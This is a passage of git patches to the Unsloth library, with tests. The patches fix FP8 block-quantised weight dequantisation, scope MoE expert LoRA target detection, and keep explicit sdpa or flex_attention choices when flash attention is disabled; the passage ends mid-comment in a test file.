+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all(), "backward non-finite"
+
+
+def test_e8m0_scale_is_upcast_and_runs():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    dev = "cuda"
+    m, n = 8, 8
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    scale = (torch.rand(1, 1, device = dev) + 1.0).to(torch.float8_e8m0fnu)
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+    out.sum().backward()
+    assert torch.isfinite(X.grad).all()
+
+
+def test_rectangular_block_dequant_matches_reference():
+    # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to
+    # route through the triton weight_dequant kernel, which uses a single BLOCK_SIZE
+    # for both axes and mis-indexes the column scale. Verify the torch expansion path
+    # now matches the reference for a 64x256 weight with block [64, 128] (scale 1x2).
+    from unsloth.kernels.fp8 import _blockwise_weight_dequant_any_shape
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 128]
+    m, n = 64, 256  # evenly tiled: 64 % 64 == 0, 256 % 128 == 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    # Distinct per-block column scales expose column mis-indexing.
+    scale = torch.tensor([[0.5, 3.0]], device = dev, dtype = torch.float32)
+
+    W_deq = _blockwise_weight_dequant_any_shape(weight, scale, block, torch.bfloat16)
+
+    s = scale.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    ref = (weight.to(torch.float32) * s).to(torch.bfloat16)
+    torch.testing.assert_close(W_deq, ref, atol = 5e-3, rtol = 5e-3)
+
+
+def test_e8m0_scale_preserves_non_default_block_size_attr():
+    # An e8m0 scale carrying a non-default block_size attribute must keep it across
+    # the float32 upcast in forward; otherwise the lookup falls back to [128, 128]
+    # and a compatible layout is wrongly rejected as incompatible.
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 64]
+    # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant
+    # fallback (no fp8 matmul kernel). Scale shape (2, 2) validates for [64, 64] but
+    # not [128, 128] (which expects (1, 1)).
+    m, n = 128, 96
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # no block_size attr
+    scale_f = torch.rand(2, 2, device = dev) + 1.0
+    scale = scale_f.to(torch.float8_e8m0fnu)
+    scale.block_size = block  # attribute lives on the scale, not the weight
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    # With [128, 128] this raises "not compatible with block size"; success proves
+    # the [64, 64] attribute survived the e8m0 -> float32 upcast.
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+
+    ref = _reference(X.detach(), weight, scale.to(torch.float32), block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all()
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index ca608fa01b..80db2f466b 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -327,11 +327,42 @@ fp8_block_matmul = (
 )
 
 
+def _blockwise_weight_dequant_any_shape(weight, weight_scale, block_size, out_dtype):
+    """Blockwise fp8 weight dequant for any shape: triton when the weight tiles
+    evenly into block_size, else a torch-native per-block scale expansion."""
+    m, n = weight.shape
+    if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+        weight_scale = weight_scale.to(torch.float32)  # e.g. float8_e8m0fnu scales break triton
+    if weight_scale.numel() == 1:
+        # Per-tensor scale: the normal forward stashes the un-expanded scalar,
+        # which repeat_interleave cannot grow to (m, n). Scale directly.
+        return (weight.to(torch.float32) * weight_scale.float()).to(out_dtype)
+    if m % block_size[0] != 0 or n % block_size[1] != 0 or block_size[0] != block_size[1]:
+        # Uneven tiling, or rectangular blocks. The triton kernel uses a single
+        # BLOCK_SIZE for both axes and derives the column scale stride from it, so
+        # it mis-indexes the scale when block_size[0] != block_size[1]. Expand the
+        # per-block scales in torch, which handles both dimensions independently.
+        s_full = weight_scale.repeat_interleave(block_size[0], 0)[:m]
+        s_full = s_full.repeat_interleave(block_size[1], 1)[:, :n]
+        return (weight.to(torch.float32) * s_full).to(out_dtype)
+    # Even tiling with square blocks: block-quant dequant with the real block size
+    # (weight_dequant would silently default to 128 and dequantize wrongly).
+    return weight_dequant_block(weight, weight_scale, block_size = block_size[0], dtype = out_dtype)
+
+
 class FP8BlockQuantLinear(torch.autograd.Function):
     @staticmethod
     def forward(ctx, X, weight, weight_scale):
         m, n = weight.shape
 
+        if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+            # Upcast (e.g. e8m0) returns a fresh tensor and drops any Python
+            # attribute, so carry block_size across the cast for the lookup below.
+            _scale_block_size = getattr(weight_scale, "block_size", None)
+            weight_scale = weight_scale.to(torch.float32)  # e8m0 scales break triton dtype mapping
+            if _scale_block_size is not None:
+                weight_scale.block_size = _scale_block_size
+
         # Original scale, saved for backward before any transformation
         original_weight_scale = weight_scale
 
@@ -360,6 +391,18 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         if not weight.is_contiguous():
             weight = weight.contiguous()
 
+        if X.shape[-1] % block_size[1] != 0:
+            # Hidden dim not divisible by the activation block: dequant + plain matmul.
+            # Use the original (un-expanded) scale so a scalar per-tensor scale keeps
+            # the fast scalar path in both forward and backward.
+            W_deq = _blockwise_weight_dequant_any_shape(
+                weight, original_weight_scale, block_size, X.dtype
+            )
+            ctx.weight = weight
+            ctx.weight_scale = original_weight_scale
+            ctx.block_size = block_size
+            return torch_matmul(X, W_deq.T).to(X.dtype)
+
         qinput, scale = act_quant(X, block_size[1])
         output = fp8_block_matmul(
             qinput,
@@ -371,11 +414,14 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         )
         ctx.weight = weight
         ctx.weight_scale = original_weight_scale  # Save original for backward
+        ctx.block_size = block_size
         return output.to(X.dtype)
 
     @staticmethod
     def backward(ctx, grad_output):
-        W_deq = weight_dequant(ctx.weight, ctx.weight_scale)
+        W_deq = _blockwise_weight_dequant_any_shape(
+            ctx.weight, ctx.weight_scale, ctx.block_size, grad_output.dtype
+        )
         grad_X = torch_matmul(grad_output, W_deq)
         del W_deq
         return grad_X, None, None

From 7cc1752a646a1371a4d393ea7cd877417361b1d4 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:45:06 -0700
Subject: [PATCH 199/306] Scope MoE expert LoRA detection to actual MLP
 projection targets (#6849)

* Scope MoE expert LoRA detection to actual MLP projection targets

_moe_target_set_from_string treated any regex containing the substring mlp
or ffn as targeting the expert MLP projections. Unsloth's auto-generated
attention-only regex lists mlp, ffn and feed_forward as allowed intermediate
path segments while its final group matches only q_proj/k_proj/v_proj/o_proj,
so attention-only finetuning on MoE models silently enabled expert LoRA as
well: the experts were trained and every MoE layer paid the extra expert LoRA
grouped matmuls. Detect expert intent from the projection names themselves
(gate_proj/up_proj/down_proj/gate_up_proj) instead of the mlp substring.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

* Detect MoE expert LoRA via mlp path segment, not proj names

The auto-generated target regex always lists every projection leaf
(q/k/v/o and gate/up/down), so keying detection on a proj name mis-fired:
it enabled expert LoRA for attention-only regexes and dropped the
mlp/ffn path regexes. Key on the mlp/ffn/feed_forward/experts path
segment instead, which is present only when the MLP/experts are actually
targeted. Add a regression test for the attention-only case.

* Scope expert LoRA targets to the leaves a regex names

An mlp path alternative with attention-only leaves, for example
(mlp|self_attn).(q_proj|o_proj), no longer enables expert LoRA, and a
regex naming a single expert leaf such as .*experts.*down_proj now
targets only that projection instead of the whole broad set. Generic
mlp projections (.*mlp.*proj) and the auto regex mlp tag block keep the
broad set for fused-expert models whose leaves are plain Parameters.

* Route explicit leaf list into MoE expert detection

An attention-only explicit target_modules list routed through get_peft_regex
for family scoping (e.g. FastVisionModel with vision layers off) yields a
regex carrying the full mlp|feed_forward|ffn|dense component block even though
its leaf group only names q/k/v/o_proj. Keying expert detection on that regex
trained the experts for a language-only/attention-only request. Use the
caller's original leaf list for detection; only the auto path uses the regex,
where the mlp block is the sole MLP-intent signal on fused-expert models.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Respect finetune_mlp_modules and finetune_language_layers scope for MoE expert detection

When an explicit leaf list that names MLP projections (gate_proj/up_proj/down_proj)
is routed through get_peft_regex under finetune_mlp_modules=False, the scoped regex
correctly drops the MLP leaves, but MoE expert detection was still keyed on the
original list and re-added mlp.experts.* via target_parameters, training the experts
the caller had frozen. Same gap for finetune_language_layers=False on vision-only runs.

Prefer the original list only when MLP and language families are both in scope
(preserving the attention-only fix); otherwise honor the scoped result so the frozen
family is respected. Factored the choice into _select_moe_detection_targets with unit
tests over the full selection matrix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_moe_lora_targets.py | 187 +++++++++++++++++++++++++++++++++
 unsloth/models/_utils.py       |  47 ++++++++-
 unsloth/models/vision.py       |  27 ++++-
 3 files changed, 257 insertions(+), 4 deletions(-)

diff --git a/tests/test_moe_lora_targets.py b/tests/test_moe_lora_targets.py
index 994d39f261..7f9b9a0485 100644
--- a/tests/test_moe_lora_targets.py
+++ b/tests/test_moe_lora_targets.py
@@ -49,3 +49,190 @@ def test_explicit_dotted_module_target_does_not_discover_moe_parameters():
         )
         is None
     )
+
+
+@pytest.mark.parametrize(
+    "target_modules",
+    [
+        # Attention-only auto-regex lists every projection leaf (incl. gate/up/down)
+        # but its path segment is attention-only, so experts must NOT be targeted.
+        r"(?:\bmodel\.layers\.[\d]{1,}\.(?:self_attn|attention|attn|mixer)\.(?:q_proj|k_proj|v_proj|o_proj|gate_proj|up_proj|down_proj))",
+        ".*self_attn.*proj",
+        # An mlp path alternative with attention-only leaves is still attention-only.
+        r"model\.layers\.\d+\.(?:mlp|self_attn)\.(?:q_proj|k_proj|v_proj|o_proj)",
+    ],
+)
+def test_attention_only_regex_does_not_discover_moe_parameters(target_modules):
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), target_modules) is None
+
+
+def test_single_leaf_regex_targets_only_that_projection():
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*experts.*down_proj") == [
+        "mlp.experts.down_proj",
+    ]
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*mlp.*gate_proj") == [
+        "mlp.experts.gate_up_proj",
+    ]
+
+
+def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():
+    # get_peft_regex on a fused-expert model lists only attention Linears as
+    # leaves; the mlp tag block is the remaining signal of MLP finetune intent.
+    from unsloth.models._utils import get_moe_target_parameters
+    both_auto = (
+        r"(?:\bmodel\.layers\.[\d]{1,}\."
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer)\."
+        r"(?:(?:q_proj|k_proj|v_proj|o_proj)))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), both_auto) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_explicit_attention_only_list_does_not_discover_moe_parameters():
+    # An explicit attention-only leaf list names no MLP projection, so experts
+    # must never be targeted. get_peft_model routes this ORIGINAL list (not the
+    # scoped regex) into detection precisely because family scoping makes
+    # get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block
+    # even for an attention-only request (see the regex below), which the
+    # string fallback cannot distinguish from the fused-expert auto regex.
+    from unsloth.models._utils import get_moe_target_parameters
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    assert get_moe_target_parameters(_FakeMoeModel(), attn_only_list) is None
+    assert get_moe_target_parameters(_FakeMoeModel(), tuple(attn_only_list)) is None
+
+    # The regex get_peft_regex emits for that same attention-only list under a
+    # vision-off family scope carries the mlp component block, so the string
+    # path would wrongly enable experts -- hence detection must use the list.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), scoped_regex) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_frozen_mlp_full_list_does_not_discover_moe_parameters():
+    # Regression: an explicit list that names MLP leaves together with
+    # finetune_mlp_modules=False must NOT train experts. get_peft_regex scopes
+    # the MLP leaves out (its emitted regex carries no mlp tag block), so
+    # detection has to key on that SCOPED regex -- keying on the original list
+    # would let its gate/up/down leaves silently re-enable the frozen experts.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    # Representative of what get_peft_regex emits for that list under
+    # finetune_mlp_modules=False: attention-only path, no mlp component block.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = False,
+        finetune_language_layers = True,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_frozen_language_full_list_does_not_discover_moe_parameters():
+    # Vision-only request (finetune_language_layers=False) with a full leaf list
+    # must not reach the language-model experts either.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = ["q_proj", "gate_proj", "up_proj", "down_proj"]
+    scoped_regex = (
+        r"(?:.*?(?:vision|visual|image).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = False,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_in_scope_mlp_full_list_still_discovers_moe_parameters():
+    # With MLP and language both in scope, an explicit list that names MLP
+    # leaves SHOULD enable the experts (unchanged behavior): the original list
+    # is preferred and carries the gate/up/down intent.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    scoped_regex = r".*self_attn.*proj"  # unused: original list is preferred
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is original_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_attention_only_list_prefers_original_when_in_scope():
+    # The case the PR originally fixed: an attention-only list routed through
+    # get_peft_regex under a family scope (e.g. vision-off) still keeps experts
+    # off, because with MLP+language in scope detection uses the original
+    # attention-only list rather than the regex's spurious mlp component block.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    scoped_regex = (  # carries the spurious mlp block get_peft_regex always adds
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        attn_only_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is attn_only_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 260fe36652..b504a19f74 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -86,6 +86,7 @@ __all__ = [
     "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
+    "_select_moe_detection_targets",
     "make_fast_generate_wrapper",
     "_mark_unsloth_disable_data_parallel",
     "_patch_transformers_trainer_data_parallel",
@@ -3913,8 +3914,25 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:
         return {target_modules}
 
     is_regex = re.search(r"[*+?()[\]{}|\\^$]", target_modules) is not None
-    targets_mlp = "mlp" in target_modules or "ffn" in target_modules
-    if is_regex and "proj" in target_modules and targets_mlp:
+    # Key detection on the mlp/ffn/experts path segment (absent from an
+    # attention-only regex), never on q/k/v/o leaves alone.
+    targets_mlp_path = any(
+        tag in target_modules for tag in ("mlp", "ffn", "feed_forward", "experts")
+    )
+    if not is_regex or not targets_mlp_path:
+        return set()
+    # Explicit expert leaves scope the target set to exactly those leaves.
+    named = {name for name in _MOE_BROAD_MLP_TARGETS if name in target_modules}
+    if named:
+        return named
+    # A generic projection under an mlp path (e.g. ".*mlp.*proj"): any proj
+    # occurrence that is not an attention leaf name.
+    if re.search(r"(?<![qkvo]_)(?<!out_)(?<!in_)proj", target_modules):
+        return set(_MOE_BROAD_MLP_TARGETS)
+    # The auto regex on fused-expert models lists only attention Linears as
+    # leaves; its mlp tag block is the remaining MLP-intent signal. A regex
+    # like "(mlp|self_attn).(q_proj|o_proj)" has neither and stays attention-only.
+    if "mlp|feed_forward|ffn|dense" in target_modules:
         return set(_MOE_BROAD_MLP_TARGETS)
 
     return set()
@@ -4000,6 +4018,31 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
     return None
 
 
+def _select_moe_detection_targets(
+    original_target_modules,
+    scoped_target_modules,
+    finetune_mlp_modules = True,
+    finetune_language_layers = True,
+):
+    """Pick what get_moe_target_parameters keys expert detection on.
+
+    Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+    attention-only request is not pushed into the experts by get_peft_regex's
+    ``mlp|feed_forward|ffn|dense`` component block (which the string fallback
+    cannot tell apart from a fused-expert auto regex).
+
+    But only when the MLP and language families are BOTH still in scope. If the
+    caller scoped MLP or language OFF (``finetune_mlp_modules=False`` or
+    ``finetune_language_layers=False``) the scoped regex already drops the MoE
+    experts, and reusing the original list -- which may still name gate/up/down
+    leaves -- would wrongly re-introduce them. In that case honor the scoped
+    result so the frozen-MLP / vision-only request is respected.
+    """
+    if original_target_modules is not None and finetune_mlp_modules and finetune_language_layers:
+        return original_target_modules
+    return scoped_target_modules
+
+
 def make_fast_generate_wrapper(original_generate):
     """
     Creates a wrapper around model.generate that checks for incorrect
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 179bd0b650..e80ed8917b 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -37,6 +37,7 @@ from ._utils import (
     _get_text_only_config,
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
+    _select_moe_detection_targets,
     set_task_config_attr,
 )
 from ._utils import *
@@ -1703,6 +1704,16 @@ class FastBaseModel:
             )
         else:
             _audio_kwargs = {}
+        # Remember the caller's ORIGINAL explicit leaf list for MoE expert
+        # detection. When an explicit list is routed through get_peft_regex for
+        # family scoping below, the generated regex carries get_peft_regex's full
+        # "mlp|feed_forward|ffn|dense" component block even when the caller named
+        # only attention leaves (q/k/v/o_proj). Keying expert detection on that
+        # regex would train the experts for an attention-only request. The
+        # original list carries the true leaf intent, so use it for MoE detection;
+        # only the auto (None / "all-linear") path relies on the regex, whose mlp
+        # block is the sole remaining MLP-intent signal on fused-expert models.
+        _moe_detect_target = target_modules if type(target_modules) in (list, tuple) else None
         if target_modules is None or target_modules == "all-linear":
             target_modules = get_peft_regex(
                 model,
@@ -1780,9 +1791,21 @@ class FastBaseModel:
             loftq_config, lora_dropout, bias, init_lora_weights, model
         )
 
-        # Auto-detect MoE models and populate target_parameters for expert layers
+        # Auto-detect MoE models and populate target_parameters for expert layers.
+        # Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+        # attention-only request does not train experts via get_peft_regex's mlp block,
+        # but only when MLP and language families are both still in scope. If the caller
+        # scoped MLP or language OFF (finetune_mlp_modules / finetune_language_layers
+        # False), the scoped regex already dropped the experts, so honor it instead of
+        # re-introducing the original list's gate/up/down leaves.
         if target_parameters is None:
-            target_parameters = get_moe_target_parameters(model, target_modules)
+            _moe_targets = _select_moe_detection_targets(
+                _moe_detect_target,
+                target_modules,
+                finetune_mlp_modules = finetune_mlp_modules,
+                finetune_language_layers = finetune_language_layers,
+            )
+            target_parameters = get_moe_target_parameters(model, _moe_targets)
 
         if finetune_last_n_layers is not None and layers_to_transform is None:
             _total_layers = _get_total_transformer_layers(model)

From c520662c12dd01fb3f83eb871115b3611e39c172 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:45:45 -0700
Subject: [PATCH 200/306] Honor an explicit sdpa or flex_attention request when
 flash is disabled (#6847)

* Honor an explicit sdpa or flex_attention request when flash is disabled

When flash attention is disabled for a model, the fallback selection could
downgrade a caller who explicitly passed attn_implementation='sdpa' or
'flex_attention' to a different backend, because the disable reason is
flash-specific. Keep an explicit non-flash request as-is; flash requests
still fall back as before.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

* Gate honor-explicit attention on provenance and flex support

Only honor an explicit non-flash attention request when it comes from the
caller argument, not from a config value the loaders synthesize (the language
path seeds attn_implementation=sdpa). Honor explicit flex_attention only when
supports_flex_attention is True so excluded/broken configs (e.g. gpt_oss) fall
back instead of selecting a known-broken backend. Explicit sdpa stays honored.

* Honor explicit sdpa through the resolver guard

* Keep SDPA exclusions when honoring an explicit sdpa request

An explicit attn_implementation="sdpa" was re-enabling sdpa for models in
_SDPA_EXCLUDED_MODELS (e.g. gpt_oss) where sdpa is known-broken: the helper
honored the request and the resolver's final not-supports_sdpa guard skipped
the eager downgrade for any explicit request. Honor an explicit sdpa only when
the model is not sdpa-excluded, mirroring the flex guard that already falls
back for _FLEX_EXCLUDED_MODELS via supports_flex_attention. Conservative
supports_sdpa=False (large head dim / attention-sink models) still honors an
explicit sdpa; a synthesized/default sdpa still downgrades to eager.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor DISABLE_SDPA_MODEL_NAMES when honoring explicit sdpa

The honor-explicit-sdpa guard only skipped the sdpa->eager downgrade for models
in _SDPA_EXCLUDED_MODELS (gpt_oss). Gemma3/Gemma3Text disable SDPA through the
loader's DISABLE_SDPA_MODEL_NAMES (their bundled SDPA modules are wrong), so an
explicit sdpa request bypassed the downgrade and re-enabled a known-wrong path.

Extend _is_sdpa_excluded to also treat DISABLE_SDPA_MODEL_NAMES membership as
excluded, replicating the loader's trailing-comma substring match so gemma3 and
gemma3_text match but gemma3n does not. Move the constant into _utils.py (single
source of truth, re-exported from loader.py) to avoid a loader -> _utils cycle.
Conservative supports_sdpa=False models not in either list still honor explicit
sdpa.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_attn_impl_honor_explicit.py | 190 +++++++++++++++++++++++++
 unsloth/models/_utils.py               |  64 ++++++++-
 unsloth/models/loader.py               |  12 +-
 3 files changed, 255 insertions(+), 11 deletions(-)
 create mode 100644 tests/test_attn_impl_honor_explicit.py

diff --git a/tests/test_attn_impl_honor_explicit.py b/tests/test_attn_impl_honor_explicit.py
new file mode 100644
index 0000000000..3fb7a2208f
--- /dev/null
+++ b/tests/test_attn_impl_honor_explicit.py
@@ -0,0 +1,190 @@
+"""An explicit non-flash attention request must survive the flash disable path.
+
+When flash attention is disabled for a model, a caller who explicitly asked for
+"sdpa" or "flex_attention" should keep that choice instead of being downgraded
+to whatever the conservative supports_* fallback would pick.
+"""
+
+import pytest
+
+from unsloth.models._utils import (
+    _disable_flash_attention_if_needed,
+    resolve_attention_implementation,
+)
+
+
+def test_explicit_sdpa_is_honored_even_when_not_marked_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "sdpa",
+        supports_sdpa = False,  # conservative flag would have skipped sdpa
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_explicit_flex_is_honored_when_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+    assert config.get("_attn_implementation") == "flex_attention"
+
+
+def test_explicit_flex_falls_back_when_not_supported():
+    # flex_attention is False for known-broken/excluded configs (e.g. gpt_oss),
+    # so an explicit flex request must not select that backend - it falls back.
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_synthesized_config_sdpa_is_not_treated_as_explicit():
+    # The language loader seeds the config with attn_implementation="sdpa"; when the
+    # caller passes nothing, that synthesized value must not override the flex fallback
+    # for a model that supports flex but not sdpa.
+    config = {"attn_implementation": "sdpa"}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = None,
+        supports_sdpa = False,
+        supports_flex_attention = True,
+        would_use_flash_attention = False,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+
+
+def test_no_disable_reason_returns_request_untouched():
+    result = _disable_flash_attention_if_needed(
+        {},
+        attn_implementation = "flash_attention_2",
+        disable_reason = None,
+    )
+    assert result == "flash_attention_2"
+
+
+def test_flash_request_still_falls_back_when_disabled():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flash_attention_2",
+        supports_sdpa = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_resolver_honors_explicit_sdpa_when_not_supported_and_flash_disabled():
+    # End-to-end through the public resolver: an explicit sdpa request with a
+    # flash-disabled config (oversized head dim) and supports_sdpa=False must not be
+    # rewritten to eager by the resolver's own not-supports_sdpa guard.
+    config = {"model_type": "test", "head_dim": 512}  # head_dim > 256 disables flash
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_non_explicit_sdpa_when_not_supported():
+    # No explicit request: the model resolution seeds sdpa/eager and the guard must
+    # still downgrade a synthesized sdpa to eager for a model that cannot run it.
+    config = {"model_type": "test", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+def test_resolver_downgrades_explicit_sdpa_for_sdpa_excluded_model():
+    # gpt_oss is in _SDPA_EXCLUDED_MODELS (sdpa is known-broken) and _FLASH_EXCLUDED_MODELS
+    # (flash disabled). Honoring an explicit sdpa request must not re-enable that broken
+    # backend: it downgrades to eager, mirroring how an explicit flex request falls back
+    # for _FLEX_EXCLUDED_MODELS. supports_sdpa=True proves the exclusion overrides even a
+    # model that otherwise advertises SDPA support.
+    config = {"model_type": "gpt_oss"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = True,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+@pytest.mark.parametrize("model_type", ["gemma3", "gemma3_text"])
+def test_resolver_downgrades_explicit_sdpa_for_disable_sdpa_model(model_type):
+    # gemma3 / gemma3_text are in DISABLE_SDPA_MODEL_NAMES: the loader forces
+    # supports_sdpa=False because their bundled SDPA modules are wrong. An explicit
+    # sdpa request with flash disabled must NOT re-enable that known-wrong path - it
+    # downgrades to eager, exactly like _SDPA_EXCLUDED_MODELS (gpt_oss). head_dim>256
+    # disables flash to mirror the real flash-disabled scenario.
+    config = {"model_type": model_type, "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+def test_resolver_does_not_overmatch_gemma3n_for_explicit_sdpa():
+    # The "gemma3," trailing-comma guard must not match gemma3n: gemma3n is not in
+    # DISABLE_SDPA_MODEL_NAMES, so it stays a conservative (not known-wrong) model and an
